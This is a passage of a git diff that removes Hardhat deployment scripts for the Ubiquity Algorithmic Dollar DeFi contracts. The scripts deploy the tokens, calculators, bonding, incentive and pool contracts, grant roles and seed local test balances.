debtCouponMgrAfter = await manager.debtCouponAddress(); - deployments.log("Manager DebtCoupon address at:", debtCouponMgrAfter); - } -}; -export default func; -func.tags = ["DebtCoupon"]; diff --git a/packages/contracts/dollar/deploy/DebtCouponManager.ts b/packages/contracts/dollar/deploy/DebtCouponManager.ts deleted file mode 100644 index e4f49e3d1..000000000 --- a/packages/contracts/dollar/deploy/DebtCouponManager.ts +++ /dev/null @@ -1,25 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - const couponLengthBlocks = 1110857; - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uAD = await deployments.deploy("DebtCouponManager", { - args: [manager.address, couponLengthBlocks], - ...opts, - }); - deployments.log("DebtCouponManager deployed at:", uAD.address); -}; -export default func; -func.tags = ["DebtCouponManager"]; diff --git a/packages/contracts/dollar/deploy/DollarMintingCalculator.ts b/packages/contracts/dollar/deploy/DollarMintingCalculator.ts deleted file mode 100644 index 07101de3b..000000000 --- a/packages/contracts/dollar/deploy/DollarMintingCalculator.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uAD = await deployments.deploy("DollarMintingCalculator", { - args: [manager.address], - ...opts, - }); - deployments.log("DollarMintingCalculator deployed at:", uAD.address); -}; -export default func; -func.tags = ["DollarMintingCalculator"]; diff --git a/packages/contracts/dollar/deploy/ExcessDollarsDistributor.ts b/packages/contracts/dollar/deploy/ExcessDollarsDistributor.ts deleted file mode 100644 index cea6ac8c3..000000000 --- a/packages/contracts/dollar/deploy/ExcessDollarsDistributor.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uAD = await deployments.deploy("ExcessDollarsDistributor", { - args: [manager.address], - ...opts, - }); - deployments.log("ExcessDollarsDistributor deployed at:", uAD.address); -}; -export default func; -func.tags = ["ExcessDollarsDistributor"]; diff --git a/packages/contracts/dollar/deploy/MasterChefV2.1.ts b/packages/contracts/dollar/deploy/MasterChefV2.1.ts deleted file mode 100644 index 6aeddfcdf..000000000 --- a/packages/contracts/dollar/deploy/MasterChefV2.1.ts +++ /dev/null @@ -1,39 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const MANAGER_ADDRESS = "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"; -const ALREADY_MIGRATED = [ - "0x89eae71b865a2a39cba62060ab1b40bbffae5b0d", - "0x4007ce2083c7f3e18097aeb3a39bb8ec149a341d", - "0x7c76f4db70b7e2177de10de3e2f668dadcd11108", - "0x0000ce08fa224696a819877070bf378e8b131acf", - "0xa53a6fe2d8ad977ad926c485343ba39f32d3a3f6", - "0xcefd0e73cc48b0b9d4c8683e52b7d7396600abb2", -]; -const AMOUNTS = [ - "1301000000000000000", - "74603879373206500005186", - "44739174270101943975392", - "1480607760433248019987", - "9351040526163838324896", - "8991650309086743220575", -]; -const IDS = [1, 2, 3, 4, 5, 6]; - -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const masterchef = await deployments.deploy("MasterChefV2", { - args: [MANAGER_ADDRESS, ALREADY_MIGRATED, AMOUNTS, IDS], - ...opts, - }); - deployments.log("ExcessDollarsDistributor deployed at:", masterchef.address); -}; -export default func; -func.tags = ["MasterChefV2.1"]; diff --git a/packages/contracts/dollar/deploy/SushiSwapPool.ts b/packages/contracts/dollar/deploy/SushiSwapPool.ts deleted file mode 100644 index 7c8e2f232..000000000 --- a/packages/contracts/dollar/deploy/SushiSwapPool.ts +++ /dev/null @@ -1,40 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const mgr = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const mgrFactory = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - - const manager: UbiquityAlgorithmicDollarManager = mgrFactory.attach(mgr.address) as UbiquityAlgorithmicDollarManager; - - const uAD = await deployments.deploy("UbiquityAlgorithmicDollar", { - args: [manager.address], - ...opts, - }); - await manager.setDollarTokenAddress(uAD.address); - // uGov - const uGov = await deployments.deploy("UbiquityGovernance", { - args: [manager.address], - ...opts, - }); - await manager.setGovernanceTokenAddress(uGov.address); - const sushiPool = await deployments.deploy("SushiSwapPool", { - args: [manager.address], - ...opts, - }); - deployments.log("SushiSwapPool deployed at:", sushiPool.address); -}; -export default func; -func.tags = ["SushiSwapPool"]; diff --git a/packages/contracts/dollar/deploy/UARForDollarsCalculator.ts b/packages/contracts/dollar/deploy/UARForDollarsCalculator.ts deleted file mode 100644 index 4d9feac4b..000000000 --- a/packages/contracts/dollar/deploy/UARForDollarsCalculator.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uAD = await deployments.deploy("UARForDollarsCalculator", { - args: [manager.address], - ...opts, - }); - deployments.log("UARForDollarsCalculator deployed at:", uAD.address); -}; -export default func; -func.tags = ["UARForDollarsCalculator"]; diff --git a/packages/contracts/dollar/deploy/UbiquityAlgorithmicDollar.ts b/packages/contracts/dollar/deploy/UbiquityAlgorithmicDollar.ts deleted file mode 100644 index 8464cefe8..000000000 --- a/packages/contracts/dollar/deploy/UbiquityAlgorithmicDollar.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uAD = await deployments.deploy("UbiquityAlgorithmicDollar", { - args: [manager.address], - ...opts, - }); - deployments.log("UbiquityAlgorithmicDollar deployed at:", uAD.address); -}; -export default func; -func.tags = ["UbiquityAlgorithmicDollar"]; diff --git a/packages/contracts/dollar/deploy/UbiquityAlgorithmicDollarManager.ts b/packages/contracts/dollar/deploy/UbiquityAlgorithmicDollarManager.ts deleted file mode 100644 index 8b055b491..000000000 --- a/packages/contracts/dollar/deploy/UbiquityAlgorithmicDollarManager.ts +++ /dev/null @@ -1,580 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { CurveUADIncentive } from "../artifacts/types/CurveUADIncentive"; -import { BondingShare } from "../artifacts/types/BondingShare"; -import { Bonding } from "../artifacts/types/Bonding"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { UbiquityAutoRedeem } from "../artifacts/types/UbiquityAutoRedeem"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { IUniswapV2Router02 } from "../artifacts/types/IUniswapV2Router02"; -import { SushiSwapPool } from "../artifacts/types/SushiSwapPool"; -import { IUniswapV2Pair } from "../artifacts/types/IUniswapV2Pair"; -import pressAnyKey from "../utils/flow"; - -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, getNamedAccounts, ethers, network } = hre; - - // hardhat local - - /* const ubqAdmin = "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd"; - const admin = ethers.provider.getSigner(ubqAdmin); - const adminAdr = await admin.getAddress(); - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [ubqAdmin], - }); */ - - const [admin] = await ethers.getSigners(); - const adminAdr = admin.address; - - /* let mgrAdr = "0xf1df21D46921Ca23906c2689b9DA25e63e686934"; - let uADdeployAddress = "0xf967DB57518fd2270b309c256db32596527F8709"; - let uGovdeployAddress = "0x8b2403Ec6470194c789736571E2AA1C91B5B568F"; - let UARForDollarsCalculatorAddress = ""; - let couponsForDollarsCalculatorAddress = ""; - let dollarMintingCalculatorAddress = - "0x552b513d1aAed6a1CF37eA6bAe3ffCaDBc8D5ca5"; */ - let mgrAdr = ""; - let uADdeployAddress = ""; - let uGovdeployAddress = ""; - let UARForDollarsCalculatorAddress = ""; - let couponsForDollarsCalculatorAddress = ""; - let dollarMintingCalculatorAddress = ""; - const couponLengthBlocks = 1110857; - let curve3CrvToken = ""; - let curveFactory = ""; - let curve3CrvBasePool = ""; - let curveWhaleAddress = ""; - // let ubq = "ubq.eth"; - ({ curve3CrvToken, curveFactory, curve3CrvBasePool, curveWhaleAddress } = await getNamedAccounts()); - deployments.log({ adminAdr }); - - const opts = { - from: adminAdr, - log: true, - }; - if (mgrAdr.length === 0) { - const mgr = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [adminAdr], - ...opts, - }); - mgrAdr = mgr.address; - } - - const mgrFactory = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - - const manager: UbiquityAlgorithmicDollarManager = mgrFactory.attach( - mgrAdr // mgr.address - ) as UbiquityAlgorithmicDollarManager; - - deployments.log(`UbiquityAlgorithmicDollarManager deployed at:`, manager.address); - // uAD - if (uADdeployAddress.length === 0) { - const uADdeploy = await deployments.deploy("UbiquityAlgorithmicDollar", { - args: [manager.address], - ...opts, - }); - - uADdeployAddress = uADdeploy.address; - } - /* */ - const uadFactory = await ethers.getContractFactory("UbiquityAlgorithmicDollar"); - - const uAD: UbiquityAlgorithmicDollar = uadFactory.attach(uADdeployAddress) as UbiquityAlgorithmicDollar; - - const dollarTokenAdrFromMgr = await manager.dollarTokenAddress(); - if (dollarTokenAdrFromMgr !== uAD.address) { - deployments.log("dollarTokenAddress will be set to:", uAD.address); - await manager.connect(admin).setDollarTokenAddress(uAD.address); - } - - deployments.log("UbiquityAlgorithmicDollar deployed at:", uAD.address); - - // uGov - - if (uGovdeployAddress.length === 0) { - const uGov = await deployments.deploy("UbiquityGovernance", { - args: [manager.address], - ...opts, - }); - - uGovdeployAddress = uGov.address; - } - const uGOVFactory = await ethers.getContractFactory("UbiquityGovernance"); - const uGOV: UbiquityGovernance = uGOVFactory.attach(uGovdeployAddress) as UbiquityGovernance; - - const govTokenAdrFromMgr = await manager.governanceTokenAddress(); - if (govTokenAdrFromMgr !== uGovdeployAddress) { - deployments.log("UbiquityGovernance will be set to:", uGovdeployAddress); - await manager.connect(admin).setGovernanceTokenAddress(uGovdeployAddress); - } - - deployments.log("UbiquityGovernance deployed at:", uGovdeployAddress); - // set twap Oracle Address - - const crvToken = (await ethers.getContractAt("ERC20", curve3CrvToken)) as ERC20; - deployments.log("crvToken deployed at:", crvToken.address); - - // set uAR for dollar Calculator - - if (UARForDollarsCalculatorAddress.length === 0) { - const uARCalc = await deployments.deploy("UARForDollarsCalculator", { - args: [manager.address], - ...opts, - }); - - UARForDollarsCalculatorAddress = uARCalc.address; - } - const uarCalcAdrFromMgr = await manager.uarCalculatorAddress(); - if (uarCalcAdrFromMgr !== UARForDollarsCalculatorAddress) { - deployments.log("uarCalculator will be set to:", UARForDollarsCalculatorAddress); - await manager.connect(admin).setUARCalculatorAddress(UARForDollarsCalculatorAddress); - } - - deployments.log("uAR for dollar Calculator deployed at:", UARForDollarsCalculatorAddress); - - // set coupon for dollar Calculator - if (couponsForDollarsCalculatorAddress.length === 0) { - const couponsForDollarsCalculator = await deployments.deploy("CouponsForDollarsCalculator", { - args: [manager.address], - ...opts, - }); - - couponsForDollarsCalculatorAddress = couponsForDollarsCalculator.address; - } - const couponCalcAdrFromMgr = await manager.couponCalculatorAddress(); - if (couponCalcAdrFromMgr !== couponsForDollarsCalculatorAddress) { - deployments.log("coupons For Dollars Calculator will be set to:", couponsForDollarsCalculatorAddress); - await manager.connect(admin).setCouponCalculatorAddress(couponsForDollarsCalculatorAddress); - } - - deployments.log("coupons for dollar Calculator deployed at:", couponsForDollarsCalculatorAddress); - - // set Dollar Minting Calculator - - if (dollarMintingCalculatorAddress.length === 0) { - const dollarMintingCalculator = await deployments.deploy("DollarMintingCalculator", { - args: [manager.address], - ...opts, - }); - - dollarMintingCalculatorAddress = dollarMintingCalculator.address; - } - const dollarMintingCalcAdrFromMgr = await manager.dollarMintingCalculatorAddress(); - if (dollarMintingCalcAdrFromMgr !== dollarMintingCalculatorAddress) { - deployments.log("Dollars Minting Calculator will be set to:", dollarMintingCalculatorAddress); - await manager.connect(admin).setDollarMintingCalculatorAddress(dollarMintingCalculatorAddress); - } - - deployments.log("dollar minting Calculator deployed at:", dollarMintingCalculatorAddress); - - // set debt coupon token - - const debtCoupon = await deployments.deploy("DebtCoupon", { - args: [manager.address], - ...opts, - }); - await manager.connect(admin).setDebtCouponAddress(debtCoupon.address); - deployments.log("debt coupon deployed at:", debtCoupon.address); - const debtCouponMgr = await deployments.deploy("DebtCouponManager", { - args: [manager.address, couponLengthBlocks], - ...opts, - }); - deployments.log("debt coupon manager deployed at:", debtCouponMgr.address); - // debtCouponMgr should have the COUPON_MANAGER role to mint debtCoupon - const COUPON_MANAGER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("COUPON_MANAGER")); - // debtCouponMgr should have the UBQ_MINTER_ROLE to mint uAD for debtCoupon Redeem - const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); - // debtCouponMgr should have the UBQ_BURNER_ROLE to burn uAD when minting debtCoupon - const UBQ_BURNER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_BURNER_ROLE")); - - const isDebtMgrIsCouponMgr = await manager.connect(admin).hasRole(COUPON_MANAGER_ROLE, debtCouponMgr.address); - if (!isDebtMgrIsCouponMgr) { - await manager.connect(admin).grantRole(COUPON_MANAGER_ROLE, debtCouponMgr.address); - deployments.log("debt coupon manager has been granted COUPON_MANAGER_ROLE"); - } - - const isDebtMgrIsMinter = await manager.connect(admin).hasRole(UBQ_MINTER_ROLE, debtCouponMgr.address); - if (!isDebtMgrIsMinter) { - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, debtCouponMgr.address); - deployments.log("debt coupon manager has been granted UBQ_MINTER_ROLE"); - } - const isDebtMgrIsBurner = await manager.connect(admin).hasRole(UBQ_BURNER_ROLE, debtCouponMgr.address); - if (isDebtMgrIsBurner) { - await manager.connect(admin).grantRole(UBQ_BURNER_ROLE, debtCouponMgr.address); - deployments.log("debt coupon manager has been granted UBQ_BURNER_ROLE"); - } - - // to calculate the totalOutstanding debt we need to take into account autoRedeemToken.totalSupply - - const uAR = await deployments.deploy("UbiquityAutoRedeem", { - args: [manager.address], - ...opts, - }); - const uARTokenAdrFromMgr = await manager.autoRedeemTokenAddress(); - if (uARTokenAdrFromMgr !== uAR.address) { - await manager.connect(admin).setuARTokenAddress(uAR.address); - deployments.log("uARTokenAddress is equal at:", uAR.address); - } - - const treasuryAdrFromMgr = await manager.treasuryAddress(); - if (treasuryAdrFromMgr !== adminAdr) { - await manager.connect(admin).setTreasuryAddress(adminAdr); - } - - deployments.log("treasury is equal to admin was set at:", adminAdr); - - const uarFactory = await ethers.getContractFactory("UbiquityAutoRedeem"); - - const myUAR: UbiquityAutoRedeem = uarFactory.attach(uAR.address) as UbiquityAutoRedeem; - - const balUarAdm = await myUAR.balanceOf(adminAdr); - if (balUarAdm.lt(ethers.utils.parseEther("250000"))) { - await myUAR.connect(admin).raiseCapital(ethers.utils.parseEther("250000")); - const adminUARBal = await myUAR.connect(admin).balanceOf(adminAdr); - deployments.log(` *** capital raised for admin:${adminAdr} at:${ethers.utils.formatEther(adminUARBal)}`); - } - deployments.log("ubiquity auto redeem deployed at:", uAR.address); - // when the debtManager mint uAD it there is too much it distribute the excess to - const excessDollarsDistributor = await deployments.deploy("ExcessDollarsDistributor", { - args: [manager.address], - ...opts, - }); - - const excessDollarsDistribFromMgr = await manager.getExcessDollarsDistributor(debtCouponMgr.address); - if (excessDollarsDistribFromMgr !== excessDollarsDistributor.address) { - await manager.connect(admin).setExcessDollarsDistributor(debtCouponMgr.address, excessDollarsDistributor.address); - - deployments.log("excess dollars distributor deployed at:", excessDollarsDistributor.address); - } - - // set treasury,uGOVFund and lpReward address needed for excessDollarsDistributor - - // DEPLOY BondingShare Contract - const bondingShareDeploy = await deployments.deploy("BondingShare", { - args: [manager.address], - ...opts, - }); - const bondingShareFactory = await ethers.getContractFactory("BondingShare"); - const bondingShare: BondingShare = bondingShareFactory.attach(bondingShareDeploy.address) as BondingShare; - - const bondingShareAdrFromMgr = await manager.bondingShareAddress(); - if (bondingShareAdrFromMgr !== bondingShare.address) { - await manager.connect(admin).setBondingShareAddress(bondingShare.address); - deployments.log("bondingShare deployed at:", bondingShare.address); - } - - // DEPLOY Ubiquity library - const ubiquityFormulas = await deployments.deploy("UbiquityFormulas", opts); - - const formulasAdrFromMgr = await manager.formulasAddress(); - if (formulasAdrFromMgr !== ubiquityFormulas.address) { - await manager.connect(admin).setFormulasAddress(ubiquityFormulas.address); - deployments.log("ubiquity formulas deployed at:", bondingShare.address); - } - // bonding - const bondingDeploy = await deployments.deploy("Bonding", { - args: [manager.address, ethers.constants.AddressZero], - ...opts, - }); - const bondingFactory = await ethers.getContractFactory("Bonding"); - const bonding: Bonding = bondingFactory.attach(bondingDeploy.address) as Bonding; - - const isBondingMinter = await manager.connect(admin).hasRole(UBQ_MINTER_ROLE, bonding.address); - if (!isBondingMinter) { - // bonding should have the UBQ_MINTER_ROLE to mint bonding shares - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, bonding.address); - } - - const isBondingBurner = await manager.connect(admin).hasRole(UBQ_BURNER_ROLE, bonding.address); - if (isBondingBurner) { - // bonding should have the UBQ_BURNER_ROLE to burn bonding shares - await manager.connect(admin).grantRole(UBQ_BURNER_ROLE, bonding.address); - } - - await bonding.connect(admin).setBlockCountInAWeek(46550); - const blockCountInAWeek = await bonding.blockCountInAWeek(); - deployments.log("blockCountInAWeek set to:", blockCountInAWeek); - - const bondingCtrFromMgr = await manager.bondingContractAddress(); - if (bondingCtrFromMgr !== bonding.address) { - await manager.connect(admin).setBondingContractAddress(bonding.address); - deployments.log("setBondingContractAddress to:", bonding.address); - } - // incentive - const curveIncentiveDeploy = await deployments.deploy("CurveUADIncentive", { - args: [manager.address], - ...opts, - }); - const incentiveFactory = await ethers.getContractFactory("CurveUADIncentive"); - - const curveIncentive: CurveUADIncentive = incentiveFactory.attach(curveIncentiveDeploy.address) as CurveUADIncentive; - deployments.log("curveIncentive deployed at:", curveIncentive.address); - - const isSellPenaltyOn = await curveIncentive.connect(admin).isSellPenaltyOn(); - - if (isSellPenaltyOn) { - // turn off Sell Penalty - await curveIncentive.connect(admin).switchSellPenalty(); - deployments.log("curveIncentive SELL penalty activate:", await curveIncentive.connect(admin).isSellPenaltyOn()); - } - const isBuyIncentiveOn = await curveIncentive.connect(admin).isBuyIncentiveOn(); - if (!isBuyIncentiveOn) { - deployments.log("curveIncentive BUY penalty activate:", await curveIncentive.connect(admin).isBuyIncentiveOn()); - } - - const isIncentiveBurner = await manager.connect(admin).hasRole(UBQ_BURNER_ROLE, curveIncentive.address); - if (!isIncentiveBurner) { - // curveIncentive should have the UBQ_BURNER_ROLE to burn uAD during incentive - await manager.connect(admin).grantRole(UBQ_BURNER_ROLE, curveIncentive.address); - deployments.log("curveIncentive has been granted UBQ_BURNER_ROLE"); - } - - const isIncentiveMinter = await manager.connect(admin).hasRole(UBQ_MINTER_ROLE, curveIncentive.address); - if (!isIncentiveMinter) { - // curveIncentive should have the UBQ_MINTER_ROLE to mint uGOV during incentive - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, curveIncentive.address); - deployments.log("curveIncentive has been granted UBQ_MINTER_ROLE"); - } - const net = await ethers.provider.getNetwork(); - deployments.log(`Current chain ID: ${net.chainId}`); - - await uAD.connect(admin).mint(manager.address, ethers.utils.parseEther("10")); - deployments.log(`10 uAD were minted for the manager`); - - const balMgrUAD = await uAD.balanceOf(manager.address); - deployments.log(`-- manager: ${ethers.utils.formatEther(balMgrUAD)} uAD`); - /** TO BE REMOVED FOR MAINNET */ - // we should transfer 3CRV manually to the manager contract - // kindly ask a whale to give us some 3CRV - if (net.chainId === 31337) { - // hardhat local - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [curveWhaleAddress], - }); - const curveWhale = ethers.provider.getSigner(curveWhaleAddress); - await crvToken.connect(curveWhale).transfer(manager.address, ethers.utils.parseEther("10")); - } - deployments.log(`We expect you to transfer 10 3CRV to the manager:${manager.address}`); - - await pressAnyKey(); - const balMgrCRV = await crvToken.balanceOf(manager.address); - deployments.log(`-- manager: ${ethers.utils.formatEther(balMgrCRV)} 3CRV`); - deployments.log(`now deploying metapool`); - let metaPoolAddr = await manager.connect(admin).stableSwapMetaPoolAddress(); - if (metaPoolAddr === ethers.constants.AddressZero) { - // deploy the stableswap pool we need 3CRV and uAD - await manager.connect(admin).deployStableSwapPool(curveFactory, curve3CrvBasePool, crvToken.address, 10, 4000000); - // setup the oracle - metaPoolAddr = await manager.connect(admin).stableSwapMetaPoolAddress(); - deployments.log("metaPoolAddr deployed at:", metaPoolAddr); - } - - // Twap - const twapOracle = await deployments.deploy("TWAPOracle", { - args: [metaPoolAddr, uAD.address, curve3CrvToken], - ...opts, - }); - deployments.log("twapOracle deployed at:", twapOracle.address); - - const twapOracleAdrFromMgr = await manager.twapOracleAddress(); - if (twapOracleAdrFromMgr !== twapOracle.address) { - await manager.connect(admin).setTwapOracleAddress(twapOracle.address); - } - // set the incentive contract to act upon transfer from and to the curve pool - await manager.connect(admin).setIncentiveToUAD(metaPoolAddr, curveIncentive.address); - // DEPLOY MasterChef - const masterChef = await deployments.deploy("MasterChef", { - args: [manager.address], - ...opts, - }); - - const masterChefAdrFromMgr = await manager.masterChefAddress(); - if (masterChefAdrFromMgr !== masterChef.address) { - await manager.connect(admin).setMasterChefAddress(masterChef.address); - deployments.log("masterChef deployed at:", masterChef.address); - } - - const isChefMinter = await manager.connect(admin).hasRole(UBQ_MINTER_ROLE, masterChef.address); - if (!isChefMinter) { - await manager.connect(admin).grantRole(UBQ_MINTER_ROLE, masterChef.address); - deployments.log("masterChef has been granted UBQ_MINTER_ROLE"); - } - // get some token for the faucet to the admin - await uAD.connect(admin).mint(adminAdr, ethers.utils.parseEther("20000")); - const metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - - /* await crvToken - .connect(curveWhale) - .transfer(admin.address, ethers.utils.parseEther("20000")); */ - - const uADBal = await uAD.balanceOf(adminAdr); - const crvBal = await crvToken.balanceOf(adminAdr); - const lpBal = await metaPool.balanceOf(adminAdr); - deployments.log(` - **** - admin addr charged : - uAD:${ethers.utils.formatEther(uADBal)} - 3crv:${ethers.utils.formatEther(crvBal)} - uAD-3CRV LP:${ethers.utils.formatEther(lpBal)} - UbiquityAlgorithmicDollarManager deployed at:${manager.address} - uAD deployed at:${uAD.address} - uAD-3CRV metapool deployed at:${metaPoolAddr} - 3crv deployed at:${crvToken.address} - `); - deployments.log(` - **** - let's deploy the UAD-UGOV SushiPool - `); - // } - - // need some uGOV to provide liquidity - const routerAdr = "0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F"; // SushiV2Router02 - - await uGOV.connect(admin).mint(adminAdr, ethers.utils.parseEther("1000")); - - await uAD.connect(admin).approve(routerAdr, ethers.utils.parseEther("10000")); - await uGOV.connect(admin).approve(routerAdr, ethers.utils.parseEther("1000")); - const admUgovBal = ethers.utils.formatEther(await uGOV.balanceOf(adminAdr)); - const admUADBal = ethers.utils.formatEther(await uAD.balanceOf(adminAdr)); - deployments.log(` **** - admin get - ${admUgovBal} uGOV and - ${admUADBal} uAD - before deploying the UAD-UGOV SushiPool - `); - const router = (await ethers.getContractAt("IUniswapV2Router02", routerAdr)) as IUniswapV2Router02; - - const sushiSwapPoolAddress = await manager.connect(admin).sushiSwapPoolAddress(); - - if (sushiSwapPoolAddress === ethers.constants.AddressZero) { - await router - .connect(admin) - .addLiquidity( - uAD.address, - uGOV.address, - ethers.utils.parseEther("10000"), - ethers.utils.parseEther("1000"), - ethers.utils.parseEther("9900"), - ethers.utils.parseEther("990"), - adminAdr, - 1625414021 - ); - - const sushiFactory = await ethers.getContractFactory("SushiSwapPool"); - const sushiUGOVPool = (await sushiFactory.deploy(mgrAdr)) as SushiSwapPool; - await manager.connect(admin).setSushiSwapPoolAddress(sushiUGOVPool.address); - deployments.log(` - **** - manager setSushiSwapPoolAddress to ${sushiUGOVPool.address} - - `); - - const pairAdr = await sushiUGOVPool.pair(); - deployments.log(` - **** - manager setSushiSwapPoolAddress Pair:${pairAdr} - - `); - const ugovUadPair = (await ethers.getContractAt("IUniswapV2Pair", pairAdr)) as IUniswapV2Pair; - const reserves = await ugovUadPair.getReserves(); - const admLPBal = await ugovUadPair.balanceOf(adminAdr); - - deployments.log(` - **** - uAD.address,:${uAD.address} - uGOV.address,:${uGOV.address} - token0:${await ugovUadPair.token0()} - token1:${await ugovUadPair.token1()} - reserves[0]:${ethers.utils.formatEther(reserves[0])} - reserves[1]:${ethers.utils.formatEther(reserves[1])} - admin sushi uGOVuAD LP token ${ethers.utils.formatEther(admLPBal)} - `); - } - - const mgrtwapOracleAddress = await manager.twapOracleAddress(); - const mgrdebtCouponAddress = await manager.debtCouponAddress(); - const mgrDollarTokenAddress = await manager.dollarTokenAddress(); - const mgrcouponCalculatorAddress = await manager.couponCalculatorAddress(); - const mgrdollarMintingCalculatorAddress = await manager.dollarMintingCalculatorAddress(); - const mgrbondingShareAddress = await manager.bondingShareAddress(); - const mgrbondingContractAddress = await manager.bondingContractAddress(); - const mgrstableSwapMetaPoolAddress = await manager.stableSwapMetaPoolAddress(); - const mgrcurve3PoolTokenAddress = await manager.curve3PoolTokenAddress(); // 3CRV - const mgrtreasuryAddress = await manager.treasuryAddress(); - const mgruGOVTokenAddress = await manager.governanceTokenAddress(); - const mgrsushiSwapPoolAddress = await manager.sushiSwapPoolAddress(); // sushi pool uAD-uGOV - const mgrmasterChefAddress = await manager.masterChefAddress(); - const mgrformulasAddress = await manager.formulasAddress(); - const mgrautoRedeemTokenAddress = await manager.autoRedeemTokenAddress(); // uAR - const mgruarCalculatorAddress = await manager.uarCalculatorAddress(); // uAR calculator - - const mgrExcessDollarsDistributor = await manager.getExcessDollarsDistributor(debtCouponMgr.address); - - deployments.log(` - **** - debtCouponMgr:${debtCouponMgr.address} - manager ALL VARS: - mgrtwapOracleAddress:${mgrtwapOracleAddress} - debtCouponAddress:${mgrdebtCouponAddress} - uADTokenAddress:${mgrDollarTokenAddress} - couponCalculatorAddress:${mgrcouponCalculatorAddress} - dollarMintingCalculatorAddress:${mgrdollarMintingCalculatorAddress} - bondingShareAddress:${mgrbondingShareAddress} - bondingContractAddress:${mgrbondingContractAddress} - stableSwapMetaPoolAddress:${mgrstableSwapMetaPoolAddress} - curve3PoolTokenAddress:${mgrcurve3PoolTokenAddress} - treasuryAddress:${mgrtreasuryAddress} - uGOVTokenAddress:${mgruGOVTokenAddress} - sushiSwapPoolAddress:${mgrsushiSwapPoolAddress} - masterChefAddress:${mgrmasterChefAddress} - formulasAddress:${mgrformulasAddress} - autoRedeemTokenAddress:${mgrautoRedeemTokenAddress} - uarCalculatorAddress:${mgruarCalculatorAddress} - 